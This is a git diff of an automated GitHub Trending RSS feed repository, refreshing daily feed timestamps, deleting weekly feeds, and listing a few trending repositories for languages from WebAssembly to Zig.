a/webassembly/daily/index.xml +++ b/webassembly/daily/index.xml @@ -1,7 +1,7 @@ GitHub WebAssembly Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:22Z + 2023-10-30T01:38:05Z Daily Trending of WebAssembly in GitHub \ No newline at end of file diff --git a/webassembly/weekly/index.xml b/webassembly/weekly/index.xml deleted file mode 100644 index 6c705753901..00000000000 --- a/webassembly/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub WebAssembly Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:40Z - Weekly Trending of WebAssembly in GitHub - - \ No newline at end of file diff --git a/webidl/daily/index.xml b/webidl/daily/index.xml index 4a28744d016..938da94681e 100644 --- a/webidl/daily/index.xml +++ b/webidl/daily/index.xml @@ -1,7 +1,7 @@ GitHub WebIDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:23Z + 2023-10-30T01:38:06Z Daily Trending of WebIDL in GitHub \ No newline at end of file diff --git a/webidl/weekly/index.xml b/webidl/weekly/index.xml deleted file mode 100644 index 65c95cfa1ad..00000000000 --- a/webidl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub WebIDL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:43Z - Weekly Trending of WebIDL in GitHub - - \ No newline at end of file diff --git a/webvtt/daily/index.xml b/webvtt/daily/index.xml index d186a8a8e7a..b92f3f5a496 100644 --- a/webvtt/daily/index.xml +++ b/webvtt/daily/index.xml @@ -1,7 +1,7 @@ GitHub WebVTT Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:26Z + 2023-10-30T01:38:06Z Daily Trending of WebVTT in GitHub \ No newline at end of file diff --git a/webvtt/weekly/index.xml b/webvtt/weekly/index.xml deleted file mode 100644 index 6601ebb27c3..00000000000 --- a/webvtt/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub WebVTT Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:45Z - Weekly Trending of WebVTT in GitHub - - \ No newline at end of file diff --git a/wget-config/daily/index.xml b/wget-config/daily/index.xml index 04f9fa465e6..120e1ab54e4 100644 --- a/wget-config/daily/index.xml +++ b/wget-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub Wget Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:25Z + 2023-10-30T01:38:08Z Daily Trending of Wget Config in GitHub \ No newline at end of file diff --git a/wget-config/weekly/index.xml b/wget-config/weekly/index.xml deleted file mode 100644 index 841d16452de..00000000000 --- a/wget-config/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Wget Config Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:46Z - Weekly Trending of Wget Config in GitHub - - \ No newline at end of file diff --git a/wikitext/daily/index.xml b/wikitext/daily/index.xml index 467ad92832d..f4b241ee4b5 100644 --- a/wikitext/daily/index.xml +++ b/wikitext/daily/index.xml @@ -1,7 +1,7 @@ GitHub Wikitext Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:30Z + 2023-10-30T01:38:10Z Daily Trending of Wikitext in GitHub \ No newline at end of file diff --git a/wikitext/weekly/index.xml b/wikitext/weekly/index.xml deleted file mode 100644 index 1b20a2f17d2..00000000000 --- a/wikitext/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Wikitext Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:47Z - Weekly Trending of Wikitext in GitHub - - \ No newline at end of file diff --git a/windows-registry-entries/daily/index.xml b/windows-registry-entries/daily/index.xml index e231dc5800f..370ede1248f 100644 --- a/windows-registry-entries/daily/index.xml +++ b/windows-registry-entries/daily/index.xml @@ -1,7 +1,7 @@ GitHub Windows Registry Entries Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:29Z + 2023-10-30T01:38:09Z Daily Trending of Windows Registry Entries in GitHub \ No newline at end of file diff --git a/windows-registry-entries/weekly/index.xml b/windows-registry-entries/weekly/index.xml deleted file mode 100644 index 66ca0c84937..00000000000 --- a/windows-registry-entries/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Windows Registry Entries Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:48Z - Weekly Trending of Windows Registry Entries in GitHub - - \ No newline at end of file diff --git a/wisp/daily/index.xml b/wisp/daily/index.xml index 9e112f55bcf..1b87474fea5 100644 --- a/wisp/daily/index.xml +++ b/wisp/daily/index.xml @@ -1,7 +1,7 @@ GitHub wisp Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:33Z + 2023-10-30T01:38:12Z Daily Trending of wisp in GitHub \ No newline at end of file diff --git a/wisp/weekly/index.xml b/wisp/weekly/index.xml deleted file mode 100644 index 858e0a860d0..00000000000 --- a/wisp/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub wisp Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:51Z - Weekly Trending of wisp in GitHub - - \ No newline at end of file diff --git a/witcher-script/daily/index.xml b/witcher-script/daily/index.xml index ddb04ec0202..cb0b02b8ba2 100644 --- a/witcher-script/daily/index.xml +++ b/witcher-script/daily/index.xml @@ -1,7 +1,7 @@ GitHub Witcher Script Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:34Z + 2023-10-30T01:38:12Z Daily Trending of Witcher Script in GitHub \ No newline at end of file diff --git a/witcher-script/weekly/index.xml b/witcher-script/weekly/index.xml deleted file mode 100644 index 235f9476f86..00000000000 --- a/witcher-script/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Witcher Script Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:53Z - Weekly Trending of Witcher Script in GitHub - - \ No newline at end of file diff --git a/wollok/daily/index.xml b/wollok/daily/index.xml index d0312d43af4..34630d06582 100644 --- a/wollok/daily/index.xml +++ b/wollok/daily/index.xml @@ -1,7 +1,7 @@ GitHub Wollok Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:32Z + 2023-10-30T01:38:14Z Daily Trending of Wollok in GitHub \ No newline at end of file diff --git a/wollok/weekly/index.xml b/wollok/weekly/index.xml deleted file mode 100644 index d3890703e02..00000000000 --- a/wollok/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Wollok Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:52Z - Weekly Trending of Wollok in GitHub - - \ No newline at end of file diff --git a/world-of-warcraft-addon-data/daily/index.xml b/world-of-warcraft-addon-data/daily/index.xml index bb71e607d8d..0cbc22321a3 100644 --- a/world-of-warcraft-addon-data/daily/index.xml +++ b/world-of-warcraft-addon-data/daily/index.xml @@ -1,7 +1,7 @@ GitHub World of Warcraft Addon Data Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:31Z + 2023-10-30T01:38:13Z Daily Trending of World of Warcraft Addon Data in GitHub \ No newline at end of file diff --git a/world-of-warcraft-addon-data/weekly/index.xml b/world-of-warcraft-addon-data/weekly/index.xml deleted file mode 100644 index f0cf41ffc63..00000000000 --- a/world-of-warcraft-addon-data/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub World of Warcraft Addon Data Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:50Z - Weekly Trending of World of Warcraft Addon Data in GitHub - - \ No newline at end of file diff --git a/x-bitmap/daily/index.xml b/x-bitmap/daily/index.xml index 09d7e2b3588..82fa7037168 100644 --- a/x-bitmap/daily/index.xml +++ b/x-bitmap/daily/index.xml @@ -1,7 +1,7 @@ GitHub X BitMap Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:38Z + 2023-10-30T01:38:16Z Daily Trending of X BitMap in GitHub \ No newline at end of file diff --git a/x-bitmap/weekly/index.xml b/x-bitmap/weekly/index.xml deleted file mode 100644 index 2a10c6fd7f7..00000000000 --- a/x-bitmap/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub X BitMap Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:56Z - Weekly Trending of X BitMap in GitHub - - \ No newline at end of file diff --git a/x-font-directory-index/daily/index.xml b/x-font-directory-index/daily/index.xml index 683adbc059b..984587f329c 100644 --- a/x-font-directory-index/daily/index.xml +++ b/x-font-directory-index/daily/index.xml @@ -1,7 +1,7 @@ GitHub X Font Directory Index Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:35Z + 2023-10-30T01:38:16Z Daily Trending of X Font Directory Index in GitHub \ No newline at end of file diff --git a/x-font-directory-index/weekly/index.xml b/x-font-directory-index/weekly/index.xml deleted file mode 100644 index c0f1b68180f..00000000000 --- a/x-font-directory-index/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub X Font Directory Index Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:54Z - Weekly Trending of X Font Directory Index in GitHub - - \ No newline at end of file diff --git a/x-pixmap/daily/index.xml b/x-pixmap/daily/index.xml index 1163d8522fe..728cd30d903 100644 --- a/x-pixmap/daily/index.xml +++ b/x-pixmap/daily/index.xml @@ -1,7 +1,7 @@ GitHub X PixMap Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:37Z + 2023-10-30T01:38:17Z Daily Trending of X PixMap in GitHub \ No newline at end of file diff --git a/x-pixmap/weekly/index.xml b/x-pixmap/weekly/index.xml deleted file mode 100644 index a29a5811999..00000000000 --- a/x-pixmap/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub X PixMap Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:55Z - Weekly Trending of X PixMap in GitHub - - \ No newline at end of file diff --git a/x10/daily/index.xml b/x10/daily/index.xml index 50dd5c18638..e9129e94c99 100644 --- a/x10/daily/index.xml +++ b/x10/daily/index.xml @@ -1,7 +1,7 @@ GitHub X10 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:40Z + 2023-10-30T01:38:20Z Daily Trending of X10 in GitHub \ No newline at end of file diff --git a/x10/weekly/index.xml b/x10/weekly/index.xml deleted file mode 100644 index 879aa838584..00000000000 --- a/x10/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub X10 Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:05:00Z - Weekly Trending of X10 in GitHub - - \ No newline at end of file diff --git a/xbase/daily/index.xml b/xbase/daily/index.xml index 291f453156f..d7018ad22fb 100644 --- a/xbase/daily/index.xml +++ b/xbase/daily/index.xml @@ -1,7 +1,7 @@ GitHub xBase Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:40Z + 2023-10-30T01:38:18Z Daily Trending of xBase in GitHub \ No newline at end of file diff --git a/xbase/weekly/index.xml b/xbase/weekly/index.xml deleted file mode 100644 index e2ad8d85dbe..00000000000 --- a/xbase/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub xBase Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:58Z - Weekly Trending of xBase in GitHub - - \ No newline at end of file diff --git a/xc/daily/index.xml b/xc/daily/index.xml index 0afd9b8d9fe..2471e87a8e2 100644 --- a/xc/daily/index.xml +++ b/xc/daily/index.xml @@ -1,7 +1,7 @@ GitHub XC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:41Z + 2023-10-30T01:38:19Z Daily Trending of XC in GitHub \ No newline at end of file diff --git a/xc/weekly/index.xml b/xc/weekly/index.xml deleted file mode 100644 index a1cfab90508..00000000000 --- a/xc/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub XC Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:05:00Z - Weekly Trending of XC in GitHub - - \ No newline at end of file diff --git a/xcompose/daily/index.xml b/xcompose/daily/index.xml index 41f0cc29e4c..6f025d9b150 100644 --- a/xcompose/daily/index.xml +++ b/xcompose/daily/index.xml @@ -1,7 +1,7 @@ GitHub XCompose Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:39Z + 2023-10-30T01:38:19Z Daily Trending of XCompose in GitHub \ No newline at end of file diff --git a/xcompose/weekly/index.xml b/xcompose/weekly/index.xml deleted file mode 100644 index 31904d7509f..00000000000 --- a/xcompose/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub XCompose Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:59Z - Weekly Trending of XCompose in GitHub - - \ No newline at end of file diff --git a/xml-property-list/daily/index.xml b/xml-property-list/daily/index.xml index 5271ab3a03b..21d18da847e 100644 --- a/xml-property-list/daily/index.xml +++ b/xml-property-list/daily/index.xml @@ -1,7 +1,7 @@ GitHub XML Property List Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:44Z + 2023-10-30T01:38:22Z Daily Trending of XML Property List in GitHub \ No newline at end of file diff --git a/xml-property-list/weekly/index.xml b/xml-property-list/weekly/index.xml deleted file mode 100644 index 68c6a43f1e7..00000000000 --- a/xml-property-list/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub XML Property List Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:05:02Z - Weekly Trending of XML Property List in GitHub - - \ No newline at end of file diff --git a/xml/daily/index.xml b/xml/daily/index.xml index 3461176752c..a72b0b46af6 100644 --- a/xml/daily/index.xml +++ b/xml/daily/index.xml @@ -1,7 +1,7 @@ GitHub XML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:45Z + 2023-10-30T01:38:22Z Daily Trending of XML in GitHub \ No newline at end of file diff --git a/xml/weekly/index.xml b/xml/weekly/index.xml deleted file mode 100644 index 9b33c05a04d..00000000000 --- a/xml/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub XML Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:05:04Z - Weekly Trending of XML in GitHub - - - evilensky/puppet-solr - 2023-10-29T02:05:04Z - tag:github.com,2023-10-29:/evilensky/puppet-solr - - <p></p><hr> - - \ No newline at end of file diff --git a/xojo/daily/index.xml b/xojo/daily/index.xml index 4dc218f0380..899a54cdd50 100644 --- a/xojo/daily/index.xml +++ b/xojo/daily/index.xml @@ -1,7 +1,7 @@ GitHub Xojo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:43Z + 2023-10-30T01:38:23Z Daily Trending of Xojo in GitHub \ No newline at end of file diff --git a/xojo/weekly/index.xml b/xojo/weekly/index.xml deleted file mode 100644 index 4f70bac8789..00000000000 --- a/xojo/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Xojo Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:05:01Z - Weekly Trending of Xojo in GitHub - - \ No newline at end of file diff --git a/xonsh/daily/index.xml b/xonsh/daily/index.xml index 14677569e0b..2c2e28c83df 100644 --- a/xonsh/daily/index.xml +++ b/xonsh/daily/index.xml @@ -1,7 +1,7 @@ GitHub Xonsh Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:42Z + 2023-10-30T01:38:21Z Daily Trending of Xonsh in GitHub \ No newline at end of file diff --git a/xonsh/weekly/index.xml b/xonsh/weekly/index.xml deleted file mode 100644 index 35b5b6b39cb..00000000000 --- a/xonsh/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Xonsh Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:05:03Z - Weekly Trending of Xonsh in GitHub - - \ No newline at end of file diff --git a/xpages/daily/index.xml b/xpages/daily/index.xml index d6768d93c05..9aabc903b7c 100644 --- a/xpages/daily/index.xml +++ b/xpages/daily/index.xml @@ -1,7 +1,7 @@ GitHub XPages Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:48Z + 2023-10-30T01:38:24Z Daily Trending of XPages in GitHub \ No newline at end of file diff --git a/xpages/weekly/index.xml b/xpages/weekly/index.xml deleted file mode 100644 index eda88634024..00000000000 --- a/xpages/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub XPages Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:05:08Z - Weekly Trending of XPages in GitHub - - \ No newline at end of file diff --git a/xproc/daily/index.xml b/xproc/daily/index.xml index e4a364a520a..f7658f39472 100644 --- a/xproc/daily/index.xml +++ b/xproc/daily/index.xml @@ -1,7 +1,7 @@ GitHub XProc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:47Z + 2023-10-30T01:38:26Z Daily Trending of XProc in GitHub \ No newline at end of file diff --git a/xproc/weekly/index.xml b/xproc/weekly/index.xml deleted file mode 100644 index df72be86316..00000000000 --- a/xproc/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub XProc Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:05:06Z - Weekly Trending of XProc in GitHub - - \ No newline at end of file diff --git a/xquery/daily/index.xml b/xquery/daily/index.xml index bc3ac39a5e8..faef17fc07a 100644 --- a/xquery/daily/index.xml +++ b/xquery/daily/index.xml @@ -1,14 +1,7 @@ GitHub XQuery Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:46Z + 2023-10-30T01:38:25Z Daily Trending of XQuery in GitHub - - dmccreary/niem-to-owl - 2023-10-29T01:45:46Z - tag:github.com,2023-10-29:/dmccreary/niem-to-owl - - <p>Convert the National Information Exchange Model XML Schema to OWL</p><hr> - \ No newline at end of file diff --git a/xquery/weekly/index.xml b/xquery/weekly/index.xml deleted file mode 100644 index 5603cec4c81..00000000000 --- a/xquery/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub XQuery Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:05:07Z - Weekly Trending of XQuery in GitHub - - \ No newline at end of file diff --git a/xs/daily/index.xml b/xs/daily/index.xml index a2c075a77bb..90247a043b8 100644 --- a/xs/daily/index.xml +++ b/xs/daily/index.xml @@ -1,7 +1,7 @@ GitHub XS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:49Z + 2023-10-30T01:38:25Z Daily Trending of XS in GitHub \ No newline at end of file diff --git a/xs/weekly/index.xml b/xs/weekly/index.xml deleted file mode 100644 index f6187f15023..00000000000 --- a/xs/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub XS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:05:05Z - Weekly Trending of XS in GitHub - - \ No newline at end of file diff --git a/xslt/daily/index.xml b/xslt/daily/index.xml index 3dc7499c2b7..d6420b0581e 100644 --- a/xslt/daily/index.xml +++ b/xslt/daily/index.xml @@ -1,7 +1,7 @@ GitHub XSLT Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:53Z + 2023-10-30T01:38:30Z Daily Trending of XSLT in GitHub \ No newline at end of file diff --git a/xslt/weekly/index.xml b/xslt/weekly/index.xml deleted file mode 100644 index 6be6b5faa5e..00000000000 --- a/xslt/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub XSLT Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:05:12Z - Weekly Trending of XSLT in GitHub - - - giellalt/dict-fin-smn - 2023-10-29T02:05:12Z - tag:github.com,2023-10-29:/giellalt/dict-fin-smn - - <p></p><hr> - - - giellalt/dict-sme-smj - 2023-10-29T02:05:12Z - tag:github.com,2023-10-29:/giellalt/dict-sme-smj - - <p></p><hr> - - - giellalt/dict-rus-sjd - 2023-10-29T02:05:12Z - tag:github.com,2023-10-29:/giellalt/dict-rus-sjd - - <p></p><hr> - - \ No newline at end of file diff --git a/xtend/daily/index.xml b/xtend/daily/index.xml index 9c7ece20fa3..31de7b6b509 100644 --- a/xtend/daily/index.xml +++ b/xtend/daily/index.xml @@ -1,7 +1,7 @@ GitHub Xtend Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:50Z + 2023-10-30T01:38:27Z Daily Trending of Xtend in GitHub \ No newline at end of file diff --git a/xtend/weekly/index.xml b/xtend/weekly/index.xml deleted file mode 100644 index bfb3ad7ff62..00000000000 --- a/xtend/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Xtend Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:05:09Z - Weekly Trending of Xtend in GitHub - - \ No newline at end of file diff --git a/yacc/daily/index.xml b/yacc/daily/index.xml index 5f0d2813951..2c1cada0e3f 100644 --- a/yacc/daily/index.xml +++ b/yacc/daily/index.xml @@ -1,7 +1,7 @@ GitHub Yacc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:52Z + 2023-10-30T01:38:28Z Daily Trending of Yacc in GitHub \ No newline at end of file diff --git a/yacc/weekly/index.xml b/yacc/weekly/index.xml deleted file mode 100644 index dc50a6431a4..00000000000 --- a/yacc/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Yacc Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:05:11Z - Weekly Trending of Yacc in GitHub - - \ No newline at end of file diff --git a/yaml/daily/index.xml b/yaml/daily/index.xml index 03b5071f8c6..3a91671c517 100644 --- a/yaml/daily/index.xml +++ b/yaml/daily/index.xml @@ -1,7 +1,14 @@ GitHub YAML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:53Z + 2023-10-30T01:38:30Z Daily Trending of YAML in GitHub + + spiceratops/k8s-gitops + 2023-10-30T01:38:30Z + tag:github.com,2023-10-30:/spiceratops/k8s-gitops + + <p></p><hr> + \ No newline at end of file diff --git a/yaml/weekly/index.xml b/yaml/weekly/index.xml deleted file mode 100644 index c3085cf69dd..00000000000 --- a/yaml/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub YAML Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:05:10Z - Weekly Trending of YAML in GitHub - - \ No newline at end of file diff --git a/yang/daily/index.xml b/yang/daily/index.xml index c44e1329efa..02f04bcb015 100644 --- a/yang/daily/index.xml +++ b/yang/daily/index.xml @@ -1,7 +1,7 @@ GitHub YANG Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:57Z + 2023-10-30T01:38:32Z Daily Trending of YANG in GitHub \ No newline at end of file diff --git a/yang/weekly/index.xml b/yang/weekly/index.xml deleted file mode 100644 index 0b1249072a8..00000000000 --- a/yang/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub YANG Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:05:17Z - Weekly Trending of YANG in GitHub - - \ No newline at end of file diff --git a/yara/daily/index.xml b/yara/daily/index.xml index 7e96f5ef347..5ba9bb427ab 100644 --- a/yara/daily/index.xml +++ b/yara/daily/index.xml @@ -1,14 +1,7 @@ GitHub YARA Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:59Z + 2023-10-30T01:38:33Z Daily Trending of YARA in GitHub - - pressidium/pressidium-yara-rules - 2023-10-29T01:45:59Z - tag:github.com,2023-10-29:/pressidium/pressidium-yara-rules - - <p>Welcome to the Pressidium® Yara Rules repository. This section contains a carefully curated collection of Yara rules specifically designed to detect and prevent WordPress or PHP malware and viruses, ensuring a safer online environment.</p><hr> - \ No newline at end of file diff --git a/yara/weekly/index.xml b/yara/weekly/index.xml deleted file mode 100644 index 6e747afcc3e..00000000000 --- a/yara/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub YARA Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:05:16Z - Weekly Trending of YARA in GitHub - - \ No newline at end of file diff --git a/yasnippet/daily/index.xml b/yasnippet/daily/index.xml index d3413b6a725..0a615e2f750 100644 --- a/yasnippet/daily/index.xml +++ b/yasnippet/daily/index.xml @@ -1,7 +1,7 @@ GitHub YASnippet Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:56Z + 2023-10-30T01:38:34Z Daily Trending of YASnippet in GitHub \ No newline at end of file diff --git a/yasnippet/weekly/index.xml b/yasnippet/weekly/index.xml deleted file mode 100644 index f631bfb7623..00000000000 --- a/yasnippet/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub YASnippet Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:05:16Z - Weekly Trending of YASnippet in GitHub - - \ No newline at end of file diff --git a/zap/daily/index.xml b/zap/daily/index.xml index 3db4521a306..e8e2bf5eac4 100644 --- a/zap/daily/index.xml +++ b/zap/daily/index.xml @@ -1,7 +1,7 @@ GitHub ZAP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:02Z + 2023-10-30T01:38:36Z Daily Trending of ZAP in GitHub \ No newline at end of file diff --git a/zap/weekly/index.xml b/zap/weekly/index.xml deleted file mode 100644 index 352a251f9ee..00000000000 --- a/zap/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ZAP Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:05:18Z - Weekly Trending of ZAP in GitHub - - \ No newline at end of file diff --git a/zeek/daily/index.xml b/zeek/daily/index.xml index 5c2c25f50d2..0bbfd1564e9 100644 --- a/zeek/daily/index.xml +++ b/zeek/daily/index.xml @@ -1,7 +1,7 @@ GitHub Zeek Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:00Z + 2023-10-30T01:38:36Z Daily Trending of Zeek in GitHub \ No newline at end of file diff --git a/zeek/weekly/index.xml b/zeek/weekly/index.xml deleted file mode 100644 index ce930db62d3..00000000000 --- a/zeek/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Zeek Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:05:19Z - Weekly Trending of Zeek in GitHub - - \ No newline at end of file diff --git a/zenscript/daily/index.xml b/zenscript/daily/index.xml index 9251ce84703..278edbba7b8 100644 --- a/zenscript/daily/index.xml +++ b/zenscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub ZenScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:03Z + 2023-10-30T01:38:37Z Daily Trending of ZenScript in GitHub \ No newline at end of file diff --git a/zenscript/weekly/index.xml b/zenscript/weekly/index.xml deleted file mode 100644 index 5fecf317aba..00000000000 --- a/zenscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ZenScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:05:21Z - Weekly Trending of ZenScript in GitHub - - \ No newline at end of file diff --git a/zephir/daily/index.xml b/zephir/daily/index.xml index 984f6b130ae..c5957a02877 100644 --- a/zephir/daily/index.xml +++ b/zephir/daily/index.xml @@ -1,7 +1,7 @@ GitHub Zephir Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:01Z + 2023-10-30T01:38:35Z Daily Trending of Zephir in GitHub \ No newline at end of file diff --git a/zephir/weekly/index.xml b/zephir/weekly/index.xml deleted file mode 100644 index 64e4a63ab2f..00000000000 --- a/zephir/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Zephir Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:05:20Z - Weekly Trending of Zephir in GitHub - - \ No newline at end of file diff --git a/zig/daily/index.xml b/zig/daily/index.xml index 08e403ff6e5..c36f180b9ba 100644 --- a/zig/daily/index.xml +++ b/zig/daily/index.xml @@ -1,21 +1,28 @@ GitHub Zig Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:06Z + 2023-10-30T01:38:41Z Daily Trending of Zig in GitHub - karlseguin/pg.zig - 2023-10-29T01:46:06Z - tag:github.com,2023-10-29:/karlseguin/pg.zig - - <p>Native PostgreSQL driver for Zig</p><hr> + chung-leong/pb2zig + 2023-10-30T01:38:41Z + tag:github.com,2023-10-30:/chung-leong/pb2zig + + <p>Pixel Bender to Zig code translator</p><hr> - PixelGuys/Cubyz - 2023-10-29T01:46:06Z - tag:github.com,2023-10-29:/PixelGuys/Cubyz - - <p>Voxel game with extensive modding API and procedural generated content.</p><hr> + so-dang-cool/dt + 2023-10-30T01:38:41Z + tag:github.com,2023-10-30:/so-dang-cool/dt + + <p>dt - duct tape for your unix pipes</p><hr> + + + Validark/Accelerated-Zig-Parser + 2023-10-30T01:38:41Z + tag:github.com,2023-10-30:/Validark/Accelerated-Zig-Parser + + <p>A high-throughput parser for the Zig programming language.</p><hr> \ No newline at end of file diff --git a/zig/weekly/index.xml b/zig/weekly/index.xml 